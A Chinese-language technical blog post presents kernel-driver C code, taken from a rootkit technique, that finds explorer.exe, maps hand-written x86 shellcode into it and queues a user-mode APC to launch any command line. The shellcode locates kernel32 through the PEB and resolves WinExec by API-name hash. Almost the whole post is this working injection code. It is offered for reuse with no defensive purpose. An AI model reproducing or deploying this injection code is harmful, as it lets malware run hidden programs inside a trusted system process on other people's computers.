电子大神的日记本,供应链专家的功夫茶盘,在这里记录、分享与共鸣。

登录以开始

用APC实现在内核模式运行用户程序

昨天晚上弄到1点,总算把这个东西调通了,这个是老技术了,在rootkit上又篇文章讨论过,参考那篇文章我把这个东西弄出来了.代码贴在下面灌水,高手就不用看了......
//=====================================================================================//
//Name: void RunUserModeProcess()                                                              //
//                                                                                     //
//Descripion: This routine retrieves the list of all processes running on the machine, //
//            searches for 'explorer.exe', gets one thread from it's PEPROCESS struct, //
//            then it queues an APC to that thread                                     //
//=====================================================================================//
void RunUserModeProcess(char* command_line)
{
PEPROCESS pTargetProcess = NULL;     //self explanatory
PKTHREAD pTargetThread = NULL;       //thread that can be either alerable or non-alertable
PKTHREAD pNotAlertableThread = NULL; //non-alertable thread
PEPROCESS pSystemProcess = NULL;     //May not necessarily be the 'System' process
PETHREAD pTempThread = NULL;
PLIST_ENTRY
pNextEntry, pListHead, pThNextEntry; 
if(strlen(command_line)>300) return; //name not longer than 300 characters
pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
if(!pSystemProcess) 
{
DbgPrint("lzplhq -> Cannot find 'System' process!");
return;
}
if(IsListEmpty(&pSystemProcess->ActiveProcessLinks))
DbgPrint("lzplhq -> No processes found!");
else
{
pListHead = &pSystemProcess->ActiveProcessLinks;
pNextEntry = pListHead->Flink;
while(pNextEntry != pListHead) //start looping through the available processes
{
pSystemProcess = CONTAINING_RECORD(pNextEntry,EPROCESS,ActiveProcessLinks);
if(pSystemProcess->ActiveThreads)
{
if(!IsListEmpty(&pSystemProcess->ThreadListHead))
{
//Is this explorer.exe? 
if(_strnicmp(pSystemProcess->ImageFileName,"explorer.exe",12)==0)
{
pTargetProcess = pSystemProcess; //Yes,we have found it!
pTargetThread = pNotAlertableThread = NULL;
pThNextEntry = pSystemProcess->ThreadListHead.Flink;
//Now we loop through it's threads, seeking an alertable thread
while(pThNextEntry != &pSystemProcess->ThreadListHead)
{
pTempThread = CONTAINING_RECORD(pThNextEntry,ETHREAD,ThreadListEntry);
if(pTempThread->Tcb.Alertable) //Tcb is the KTHREAD of this ETHREAD and stands for 'Thread Control Block'
{
//Good, an alertable thread was found. 
pTargetThread = &pTempThread->Tcb;
DbgPrint("lzplhq -> Found alertable thread");
//We will be using this one, so break now
break;
}
else
{
//Didn't find an alertable thread yet, so we'll keep this one
//just in case we won't find ANY alertable threads
pNotAlertableThread = &pTempThread->Tcb;
}
pThNextEntry = pThNextEntry->Flink; //check next thread
}
break;
}
}
}
pSystemProcess = NULL;
pNextEntry = pNextEntry->Flink; //get next process
}
}
if(!pTargetProcess)
{
DbgPrint("lzplhq -> Couldn't find Explorer.exe!"); 
return;
}
if(!pTargetThread)
{
//No alertable thread was found, so let's hope we've at least got a non-alertable one (we'll set its alertable flag ON)
//There's no problem with non-alertable threads, except for the fact that it takes
//a little longer for them to return from KernelMode. (that means our process execution will be delayed)
pTargetThread = pNotAlertableThread;
}
if(pTargetThread)
{
DbgPrint("lzplhq -> Targeted thread: 0x%p",pTargetThread);
//We have one thread (alertable or n/a), now install the APC
InstallUserModeApc(command_line, pTargetThread,pTargetProcess);
}
else
DbgPrint("lzplhq -> No thread found!"); //Explorer exe with NO threads (???)
}
PMDL pMdl = NULL;
//===================================================================//
//Name: VOID ApcKernelRoutine()                                      //
//                                                                   //
//Descripion: This routine gets called after the APC routine returns //
//            (our process should have been executed by then)        //
//            It frees all the memory allocated by InstallUserModeApc//
//            (APC and MDL)                                          //
//===================================================================//
void ApcKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, 
   IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) 
{
PKEVENT pEvent;
if (Apc)
ExFreePool(Apc);
pEvent = (PKEVENT)*SystemArgument1;
    KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE);
}
//===================================================================//
//Name:                                                              //
//     NTSTATUS InstallUserModeApc()                                 //
//                                                                   //
//Paramters:                                                         //
//          CommandLine - Full path of the process to be executes      //
//          pTargetThread - This is where we queue our APC           //
//          pTargetProcess - Should point to Explorer's EPROCESS     //
//                                                                   //
//Descripion: This routine attaches to 'pTargetThread' and it queues //
//            a UserMode APC that will be excuted next time the      //
//            thread returns from KernelMode                         //
//===================================================================//
NTSTATUS 
InstallUserModeApc(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess)
{
PRKAPC pApc = NULL; //Our APC
 PKEVENT pEvent = NULL;
PVOID pMappedAddress = NULL; //This is where the UserMode routine's code will be placed at
ULONG dwSize = 0; //Size of code to be executed in Explorer's address space
KAPC_STATE ApcState; // Needed for KeStackAttachProcess
ULONG *data_addr=0; //just a helper to change the address of the 'push' instruction
                    //in the ApcCreateProcess routine
ULONG dwMappedAddress = 0; //same as above
NTSTATUS Status = STATUS_UNSUCCESSFUL;
if (!pTargetThread || !pTargetProcess)
return STATUS_UNSUCCESSFUL;
DbgPrint("command_line:%s\n",CommandLine);
//Allocate memory for our APC
pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC)); 
if (!pApc)
{
DbgPrint("lzplhq -> Failed to allocate memory for the APC structure");
return STATUS_INSUFFICIENT_RESOURCES;
}
pEvent = ExAllocatePool (NonPagedPool,sizeof (KEVENT));
    if (!pEvent)
    {
        ExFreePool (pApc);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
//Get the size of our UserMode code
dwSize = (unsigned char*)ApcCreateProcessEnd-(unsigned char*)ApcCreateProcess;
//Allocate an MDL describing our ApcCreateProcess' memory
pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
if (!pMdl)
{
DbgPrint("lzplhq -> Failed to allocate MDL");
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
__try
{
//Probe the pages for Write access and make them memory resident
MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("lzplhq -> Exception during MmProbeAndLockPages");
IoFreeMdl (pMdl);
ExFreePool (pApc);
 ExFreePool (pEvent);
return STATUS_UNSUCCESSFUL;
}
//Attach to the Explorer's address space
KeStackAttachProcess(&(pTargetProcess->Pcb),&ApcState);
//Now map the physical pages (our code) described by 'pMdl'
pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);
if (!pMappedAddress)
{
DbgPrint("lzplhq -> Cannot map address");
KeUnstackDetachProcess (&ApcState);
IoFreeMdl (pMdl);
ExFreePool (pApc);
 ExFreePool (pEvent);
return STATUS_UNSUCCESSFUL;
}
else 
DbgPrint("lzplhq -> UserMode memory at address: 0x%p",pMappedAddress);
dwMappedAddress = (ULONG)pMappedAddress;
 // copy commandline
    memset ((unsigned char*)pMappedAddress + 163, 0, 260);
    memcpy ((unsigned char*)pMappedAddress + 163, CommandLine,strlen (CommandLine));
//all done, detach now
KeUnstackDetachProcess (&ApcState);
//Initialize the APC...
 KeInitializeEvent(pEvent,NotificationEvent,FALSE);
KeInitializeApc(pApc,pTargetThread,
OriginalApcEnvironment,
&ApcKernelRoutine,NULL,
pMappedAddress, UserMode, (PVOID) NULL);
//...and queue it
if (!KeInsertQueueApc(pApc,pEvent,NULL,0))
{
DbgPrint("lzplhq -> Failed to insert APC");
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool(pEvent);
return STATUS_UNSUCCESSFUL;
}
else
{
DbgPrint("lzplhq -> APC delivered");
}
//is this a non-alertable thread?
if(!pTargetThread->ApcState.UserApcPending)
{
//if yes then alert it
pTargetThread->ApcState.UserApcPending = TRUE;
}
  // apc is fired, wait event to signal completion
    KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);
DbgPrint("Get the Event\n");
    // free event
    ExFreePool (pEvent);
if(pMdl)
{
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
pMdl = NULL;
}
DbgPrint("lzplhq -> ApcKernelRoutine called. Memory freed.");
 return 0;
}
//=====================================================================================//
//Name: void ApcCreateProcess()                                                        //
//=====================================================================================//
__declspec(naked) void ApcCreateProcess(PVOID NormalContext, PVOID  SystemArgument1, PVOID SystemArgument2)
{
   __asm 
    {
        push ebp
        mov     ebp,esp
        push ebx
        push esi
        push edi
        jmp  __startup;                   ; these are just functions.... skip    
__find_kernel32:
        push  esi                         ; Save esi
        push  0x30
        pop   ecx
        mov   eax, fs:[ecx]               ; Extract the PEB
        mov   eax, [eax + 0x0c]           ; Extract the PROCESS_MODULE_INFO pointer from the PEB
        mov   esi, [eax + 0x1c]           ; Get the address of flink in the init module list
        lodsd                             ; Load the address of blink into eax
        mov   eax, [eax + 0x8]            ; Grab the module base address from the list entry
        pop   esi                         ; Restore esi
        ret                               ; Return
__find_function:
        pushad                            ; Save all registers
        mov   ebp, [esp + 0x24]           ; Store the base address in eax
        mov   eax, [ebp + 0x3c]           ; PE header VMA
        mov   edx, [ebp + eax + 0x78]     ; Export table relative offset
        add   edx, ebp                    ; Export table VMA
        mov   ecx, [edx + 0x18]           ; Number of names
        mov   ebx, [edx + 0x20]           ; Names table relative offset
        add   ebx, ebp                    ; Names table VMA
__find_function_loop:
        jecxz __find_function_finished    ; Jump to the end if ecx is 0
        dec   ecx                         ; Decrement our names counter
        mov   esi, [ebx + ecx * 4]        ; Store the relative offset of the name
        add   esi, ebp                    ; Set esi to the VMA of the current name
        xor   edi, edi                    ; Zero edi
        xor   eax, eax                    ; Zero eax
        cld                               ; Clear direction
__compute_hash_again:
        lodsb                             ; Load the next byte from esi into al
        test  al, al                      ; Test ourselves.
        jz    __compute_hash_finished     ; If the ZF is set, we've hit the null term.
        ror   edi, 0xd                    ; Rotate edi 13 bits to the right
        add   edi, eax                    ; Add the new byte to the accumulator
        jmp   __compute_hash_again        ; Next iteration
__compute_hash_finished:         
        cmp   edi, [esp + 0x28]           ; Compare the computed hash with the requested hash
        jnz   __find_function_loop        ; No match, try the next one.
        mov   ebx, [edx + 0x24]           ; Ordinals table relative offset
        add   ebx, ebp                    ; Ordinals table VMA
        mov   cx, [ebx + 2 * ecx]         ; Extrapolate the function's ordinal
        mov   ebx, [edx + 0x1c]           ; Address table relative offset
        add   ebx, ebp                    ; Address table VMA
        mov   eax, [ebx + 4 * ecx]        ; Extract the relative function offset from its ordinal
        add   eax, ebp                    ; Function VMA
        mov   [esp + 0x1c], eax           ; Overwrite stack version of eax from pushad
__find_function_finished:
        popad                             ; Restore all registers
        ret 8
__begin:
        nop
        pop edi                        ; Pop address
        mov ebx, __execute
        sub ebx, __command_line
        sub edi, ebx                ; filename offset
        mov esi,edi                 ; filename to edi
        call __find_kernel32        ; Find kernel32 address
        mov ebx, eax                ; Save address in ebx
        jmp short __execute         ; Skip data
__startup:
        call __begin                ; Fetch our data address
__execute:
        push 0x0e8afe98             ; WinExec hash
        push ebx                   ; kernel32 base address
        call __find_function        ; find address
        xor ecx,ecx
        inc ecx                 ; ecx = 1
        push ecx                ; uCmdShow
        push esi                ; lpCmdLine. We already have the exe path in esi
        call eax                ; call WinExec 
        jmp __end
__command_line:                    ; Space (~300 bytes) for commandline
        nop
        ............      ;omit here, total 300 nop instruction
        nop
       __end:
        pop edi        ; restore registers
        pop esi
        pop ebx
        pop ebp
        ret 0x0c
    }
}
void ApcCreateProcessEnd(){}

博主
bluefeynman@gmail.com
bluehacker's Notebook
欢迎来到bluehacker的技术空间 专注于Freescale、TI和STM32处理器技术QQ:282074921 淘宝http://nicrosystem.taobao.com
点击跳转